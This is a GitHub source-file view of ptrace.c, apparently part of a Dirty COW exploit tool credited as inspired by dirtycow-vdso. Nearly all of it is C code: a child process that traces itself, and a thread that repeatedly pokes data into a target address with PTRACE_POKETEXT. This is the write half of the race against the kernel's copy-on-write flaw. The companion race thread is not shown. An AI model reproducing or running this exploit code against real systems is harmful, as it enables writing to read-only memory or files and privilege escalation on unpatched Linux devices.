-
Notifications
You must be signed in to change notification settings - Fork 25
/
ptrace.c
106 lines (87 loc) · 2.16 KB
/
ptrace.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
/* radare - LGPL - Copyright 2016 - pancake@nowsecure.com */
/* inspired by https://github.com/scumjr/dirtycow-vdso */
#include "os-barrier.h"
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <errno.h>
#include <linux/sched.h>
#include <unistd.h>
#include <pthread.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <sys/ptrace.h>
static char child_stack[8192];
static int debuggee(void *arg_) {
#if 0
if (prctl (PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0) == -1)
err (1, "prctl(PR_SET_PDEATHSIG)");
#endif
if (ptrace (PTRACE_TRACEME, 0, NULL, NULL) == -1) {
err (1, "ptrace(PTRACE_TRACEME)");
}
kill (getpid (), SIGSTOP);
return 0;
}
static int ptrace_memcpy(pid_t pid, void *dest, const void *src, size_t n) {
unsigned long value;
const unsigned char *s = src;
unsigned char *d = dest;
while (n >= sizeof(long)) {
memcpy (&value, s, sizeof(value));
if (ptrace (PTRACE_POKETEXT, pid, d, value) == -1) {
warn("ptrace(PTRACE_POKETEXT)");
return -1;
}
n -= sizeof (long);
d += sizeof (long);
s += sizeof (long);
}
if (n > 0) {
d -= sizeof (long) - n;
errno = 0;
value = ptrace (PTRACE_PEEKTEXT, pid, d, NULL);
if (value == -1 && errno != 0) {
warn ("ptrace(PTRACE_PEEKTEXT)");
return -1;
}
memcpy ((unsigned char *)&value + sizeof(value) - n, s, n);
if (ptrace (PTRACE_POKETEXT, pid, d, value) == -1) {
warn ("ptrace(PTRACE_POKETEXT)");
return -1;
}
}
return 0;
}
typedef struct dcow_user_t {
void *addr;
const unsigned char *buf;
int len;
} DCowUser;
static void *ptraceThread(void *arg_) {
int i, flags, ret2, status;
DCowUser *arg;
pid_t pid;
void *ret = &pid;
arg = (struct dcow_user_t *)arg_;
flags = CLONE_VM | CLONE_PTRACE;
pid = clone (debuggee, child_stack + sizeof (child_stack) - 8, flags, arg);
if (pid == -1) {
warn ("clone");
return NULL;
}
if (waitpid (pid, &status, __WALL) == -1) {
warn ("waitpid");
return NULL;
}
for (i = 0; i < LOOPS; i++) {
ptrace_memcpy (pid, arg->addr, arg->buf, arg->len);
}
if (ptrace (PTRACE_CONT, pid, NULL, NULL) == -1) {
warn ("ptrace(PTRACE_CONT)");
}
if (waitpid (pid, NULL, __WALL) == -1) {
warn ("waitpid");
}
return ret;
}